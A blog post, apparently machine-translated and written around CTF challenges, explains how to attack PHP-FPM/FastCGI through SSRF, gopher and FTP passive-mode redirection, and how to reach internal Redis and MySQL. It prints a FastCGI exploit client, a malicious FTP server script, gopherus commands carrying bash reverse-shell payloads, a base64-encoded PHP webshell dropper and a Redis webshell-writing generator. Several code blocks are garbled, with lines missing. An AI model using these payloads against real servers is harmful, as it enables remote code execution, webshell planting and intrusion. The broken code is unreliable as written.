Security Learning of FPM and FTP

Posted by ColinP on Sun, 27 Feb 2022 11:40:25 +0100


Here is a brief summary of some attacks on FPM and FastCGI

Pre knowledge

What is CGI?

Early Web servers could only respond to the request for HTTP static resources sent by the browser and return the static resources stored in the server to the browser. With the development of Web technology, dynamic technology gradually appears, but the Web server can not directly run dynamic scripts. In order to solve the data exchange between the Web server and external applications (CGI programs), CGI (Common Gateway Interface) general gateway interface appears. Simply understand, it can be considered that CGI is used to help the Web server "communicate" with the applications running on it

When a dynamic script request is encountered, the main process of the Web server will Fork create a new process to start the CGI program, run external C programs or Perl, PHP scripts, etc., that is, hand over the dynamic script to the CGI program for processing. Starting CGI program requires a process, such as reading configuration file, loading extension, etc. When the CGI program starts, it will parse the dynamic script, and then return the results to the Web server. Finally, the Web server will return the results to the client, and the process from the previous Fork will be closed. In this way, every time a user requests a dynamic script, the Web server will re Fork create a new process to start the CGI program. The CGI program will process the dynamic script, and the process will close after processing. Its efficiency is very low.

For Mod CGI, the Web server can have a built-in Perl interpreter or PHP interpreter. In other words, by making these interpreters into modules, the Web server will start these interpreters when it starts. When new dynamic requests come in, the Web server parses these dynamic scripts by itself, which saves the need to Fork a process again and improves the efficiency.

What is FastCGI?

FastCGI is a scalable and high-speed interface for communication between HTTP server and dynamic scripting language (FastCGI interface is socket (file socket or ip socket) under Linux). The main advantage is to separate dynamic language from HTTP server. Most popular HTTP servers support FastCGI, including Apache, Nginx, and lightpd.

At the same time, FastCGI is also supported by many scripting languages. One of the more popular scripting languages is PHP. FastCGI interface adopts C/S architecture, which can separate HTTP server and script parsing server, and start one or more script parsing daemons on the script parsing server at the same time. When the HTTP server encounters a dynamic program every time, it can directly deliver it to the FastCGI process for execution, and then return the obtained structure to the browser. In this way, the HTTP server can specifically process static requests or return the results of the dynamic script server to the client, which greatly improves the performance of the whole application system.

The difference between web server, web middleware and web container


The process by which a browser processes a web page

1. Process of browser accessing static web pages:

Throughout the visit of the web page, Web container(for example Apache,Nginx)Only serve as the identity of content distributor when visiting static websites
 On the home page, Web The container will find the home page file in the corresponding directory of the website, and then send it to the user's browser

2. Browser access dynamic page

When visiting the home page of a dynamic website, it knows that this page is not a static page according to the container's configuration file, web The container will look for it PHP solution
 Analyzers for processing(Here with Apache take as an example),It will simply process the request and give it to PHP interpreter

When Apache Received user response index.php After the request, if you are using CGI,Will start the corresponding CGI The corresponding program here is PHP Parser for. next PHP The parser parses php.ini File, initialize the execution environment, then process the request, and then CGI Return the processed results in the specified format and exit the process, Web server Then return the results to the browser. This is a complete dynamic PHPWeb Access process.


For php, web access order:

Web browser ------ > Web middleware (web server) -- > PHP server ------ > Database

The following is the operation principle of Nginx FastCGI

Analysis of FastCGI protocol


FPM arbitrary code execution

FPM unauthorized access

Read p God's article directly:

There's no need to move here

SSRF attacks FPM/FastCGI directly

Take the ssrf title on CTFHUB as an example, which is played using gopher protocol

Method 1:

Using the script of p God (using fcgi_exp tool)

We monitor port 9000 locally and run FPM Py print the malicious FastCGI protocol message data on the local 9000 port and save it as exp.txt

# Monitor 9000 ports
nc -lvvp 9000 > exp.txt

# Run ` FPM py`
python3 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"

Then the gopher protocol is constructed and the secondary coding is implemented

from urllib import quote
with open('exp.txt') as f:
	pld =
 a="gopher://" + quote(pld)

? url = pass it in and connect the ant sword

python script

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer:

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):
    if PY2:
        return force_bytes(chr(i))
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
        s = str(s)
    return s

class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1


    __FCGI_TYPE_END = 3
    __FCGI_TYPE_DATA = 8


    # request state

    def __init__(self, host, port, timeout, keepalive): = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
            self.sock.connect((, int(self.port)))
        except socket.error as msg:
            self.sock = None
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header =

        if not header:
            return False
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] +=
            if 'paddingLength' in record.keys():
                skiped =['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(, self.port)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    response = client.request(params, content)

Method 2:

gopherus tool directly hits fastcgi. I think this is more convenient

Questions on ctfhub

python --exploit fastcgi
/var/www/html/index.php                 //What you enter here is a known php file
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

Here is the urlencode code


We need secondary coding


Then we can connect with ant sword and find the root directory to get flag

The passive mode of FTP is FPM/FastCGI

Pre knowledge of FTP

FTP protocol

FTP (File Transfer Protocol) is one of the protocols in TCP/IP protocol group. FTP protocol includes two parts, one is FTP server, the other is FTP client. The FTP server is used to store files, and users can use the FTP client to access the resources located on the FTP server through the FTP protocol. When developing a website, we usually use FTP protocol to transfer the Web page or program to the Web server. In addition, due to the high efficiency of FTP transmission, this protocol is generally used when transmitting large files on the network.

By default, FTP protocol uses 20 and 21 of TCP ports, of which 20 is used to transmit data and 21 is used to transmit control information. However, whether to use 20 as the data transmission port is related to the transmission mode used by FTP. If the active mode is adopted, the data transmission port is 20; If the passive mode is adopted, the specific port to be used should be determined through negotiation between the server and the client.

How FTP protocol works

FTP supports two modes, one is called Standard (i.e. PORT mode, active mode) and the other is Passive (i.e. PASV, Passive mode). The Standard mode FTP client sends the PORT command to the FTP server. The Passive mode FTP client sends the PASV command to the FTP server.

The working principles of these two methods are described below:


The FTP client first establishes a connection with the TCP 21 PORT of the FTP server and sends control commands through this channel. After the control connection is established, if the client needs to receive data, send the PORT command on this control channel. The PORT command contains what PORT the client uses to receive data (the format of the PORT command is special). When transmitting data, the server connects to the client through its TCP 20 PORT and sends data to the PORT specified by the PORT command. It can be seen that the FTP server must actively establish a new connection with the client to transmit data.


When establishing the control channel, similar to the Standard mode, the connection is established between the FTP client and the TCP 21 PORT of the FTP server, but the PASV command is not sent after the connection is established. After receiving the PASV command, the FTP server randomly opens a high-end PORT (PORT number greater than 1024) and notifies the client of the request to transmit data on this PORT. The client connects to this high-end PORT of the FTP server and establishes a channel through three handshakes, and then the FTP server will transmit data through this PORT.

In short, the active mode and passive mode are based on the "perspective" of the FTP server. More commonly, when transmitting data, if the server actively connects the client, it is the active mode; If the client actively connects to the server, it is the passive mode.

It can be seen that in the passive mode, the data transmission ports of FTP client and server are specified by the server, and there is another point that is not mentioned in many places. In fact, in addition to the port, the address of the server can also be specified. Because FTP is similar to HTTP, the protocol content is all plain text, so we can clearly see how it specifies the address and port:

227 Entering Passive Mode(192,168,9,2,4,8)

227 and Entering Passive Mode are similar to the status code and status phrase of HTTP, while (192168,9,2,4,8) represents the 4 * 256 + 8 = 1032 port connecting the client to

In this way, if we specify (127,0,0,1,09000), we can refer to the address and port to, that is, the local 9000 port. At the same time, due to the characteristics of FTP, it will send the transmitted data to the local 9000 port intact without any redundant content. If we replace the transmitted data with specific Payload data, we can attack applications on specific ports of the intranet. In the whole process, FTP only plays a role in redirecting the content of Payload.


Vulnerability code

$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);

Here, read the path viewFile and write it back to the file. It seems that nothing has been done.

This code can be used to attack PHP-FPM

If a client attempts to read a file from the FTP server, the server will notify the client to read (or write) the contents of the file to a specific IP and port. Moreover, there are no necessary restrictions on these IPS and ports. For example, a server can tell a client to connect to one of its ports.

Now, if we use viewFile=ftp://evil-server/file.txt Then what happens:

First through file_ get_ The contents () function connects to our FTP server and downloads file txt.
Then through file_ put_ The contents () function connects to our FTP server and uploads it back to file txt.

At this point, it tries to use file_ put_ When contents () is uploaded back, we tell it to send the file to port, 9000 by default)
So, we created an SSRF attack on PHP FPM in the middle

Demonstration process

Of course, the following three are FTP attacks. I learned to use gopher protocol and dict protocol before.


Case 1

For the above code, there is only one control variable

First, we use gopherus tool to generate payload attacking fastcgi

python --exploit fastcgi
/var/www/html/index.php  # What you enter here is a known php file on the target host
bash -c "bash -i >& /dev/tcp/ 0>&1"  # The command to be executed is entered here

Get the payload, and what we need is in the payload above_ The following data part, i.e


Then write the FTP service code and replace the data in the payload above with the contents of the payload in the FTP script below

# -*- coding: utf-8 -*-
# @Time: 2021 / 1 / 13 6:56 PM
# @Author  : tntaxin
# @File    :
# @Software:

import socket
from urllib.parse import unquote

# Perform a urldecode on the payload generated by gopherus
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/")
payload = payload.encode('utf-8')

host = ''
port = 23
sk = socket.socket()
sk.bind((host, port))

# The passport port in ftp passive mode listens to 1234
sk2 = socket.socket()
sk2.bind((host, 1234))

# Counter, which is used to distinguish the number of ftp connections
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # User AAA \ R \ nthe user name is passed from the client
    if count == 1:
        conn.send(b"220 ready\n")
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I \ R \ nthe client tells the server in what format to transmit data. TYPE I represents binary and TYPE A represents text
    if count == 1:
        conn.send(b"215 \n")
        conn.send(b"200 \n")

    print(conn.recv(20))  # Size / 123 \ R \ nthe client asks for the size of the file / 123
    if count == 1:
        conn.send(b"213 3 \n")  
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV \ R \ nthe client tells the server to enter the passive connection mode
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # The server tells the client which ip:port to go to to get data. IP and port are separated by commas. The calculation rule of port is 4 * 256 + 210 = 1234
        conn.send(b"227 127,0,0,1,35,40\n")  # Port calculation rule: 35 * 256 + 40 = 9000

    print(conn.recv(20))  # The first connection will receive the command retr / 123 \ R \ NAND the second connection will receive STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # Tell the client that the data connection can be started
        # Create a new socket and return our payload to the server
        print("Establish connection!")
        conn2, address2 = sk2.accept()
        conn.send(b"150 \n")

    # The first connection is to download files. You need to tell the client that the download is over
    if count == 1:
        conn.send(b"226 \n")
    count += 1

Run the above script on the attacker and start the FTP service (remember to open the port and cd to the corresponding directory)

Then listen to the port (it must be consistent with the payload port above)

Pass parameters and trigger attack


You can bounce back.

Situation 2

There are two control variables

file_put_contents($_GET['file'], $_GET['data']);

First, use gopherus to generate the payload:

Copy successfullypython --exploit fastcgi
/var/www/html/index.php  # What you enter here is a known php file on the target host
bash -c "bash -i >& /dev/tcp/ 0>&1"  # The command to be executed is entered here

The obtained payload is only intercepted_ The following data section.

Then execute the following python script on the attacker to build a malicious ftp server:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('', 23))
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n')

Run script: python3 FTP py:

Then pass the parameter: the value of data is the value of the above payload


Then it bounced back

FTP to intranet redis

Assuming that Redis exists in the intranet and can be accessed without authorization, we can also directly attack Redis to write Webshell, SSH secret key, plan tasks, etc.

First, write a script to generate a Payload that attacks Redis:

import urllib.parse
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
passwd=""        #If there is no password, don't add it. If there is a password, add it
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
def redis_format(arr):
    redis_arr = arr.split(" ")
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

The obtained Payload only selects_ Later part

Later, the attacker builds an FTP service and then listens

The attacked machine constructs a request and sends a payload


You can write webshell successfully.

FTP Mysql

Assuming that MySQL exists in the intranet and can be accessed without authorization, we can also directly attack its mysql. The specific operations include querying the data in mysql, writing to Webshell, UDF authorization and executing system commands.

use first Gopherus Generate Payload:

python2 --exploit mysql
root    # Enter the user name of MySQL here
system bash -c "bash -i >& /dev/tcp/ 0>&1";  # The MySQL statements or commands that need to be executed are entered here. Here we rebound the shell

The obtained Payload only selects_ hinder

Then the back is the same.

Load malicious so implement RCE to bypass disable_functions

Upload code

file_put_contents($_GET['file'], $_GET['data']);


Via file_put_contents uploads the file to the FTP server, and FTP sends the data content to the PFM port, so as to load the so file, and the so file contains malicious commands, so as to realize the execution of malicious commands. The content of data is payload. Before the payload is sent, you need to send the so file first.

Demonstration process

Pass CTF directly

reference resources: One Pointer PHP for Blue Hat Cup


First, use the array overflow. Look at phpinfo. There is open_basedir and disabled_functions. Write the file first. You can connect ant sword to get webshell, but you can't open the file directory. Using ini Set bypass open_basedir. However, the contents of the file cannot be seen, and there is no permission, so the right needs to be raised. However, the premise of raising the right is to obtain the shell, which needs to be rebounded. Use FTP to play FPM, so as to load so file, so as to realize rebound shell, followed by right lifting.

[WMCTF2021]Make PHP Great Again And Again


It is also necessary to bypass disabled_functions, the above question is to find the redis port, and this question is to find the FPM port. Then upload the so file modified by magic first and run the ftp service on the vpn. Use the script to generate a malicious FastCGI request (payload). Reuse file_put_contents, type payload, load so file and bypass disabled_functions to implement command execution.

Other CTF questions

[Longyuan war epidemic 2021 network security competition]


First see the pop chain to find information, use phpinfo to find fastcgi, and then use the passive mode of FTP to play fpm

The file is written through the pop chain. The filename is an FTP server built locally. The data is directly the payload generated by gopherus tool. The FTP server will transfer the file content to the FPM port, trigger the code execution of the file content, and rebound the shell, and then raise the right later.



Method 1: directly use pwn to bypass disabled_functions

Method 2: use redis master-slave copy to load so files to bypass disabled_functions

First detect that the port of redis is 8888, then get the so file through curl extranet, and then file_put_contents writes to so file. Here, the master-slave copy of redis and gopher protocol are used to load so files to realize rebound shell

Reference articles

Topics: server security Web Security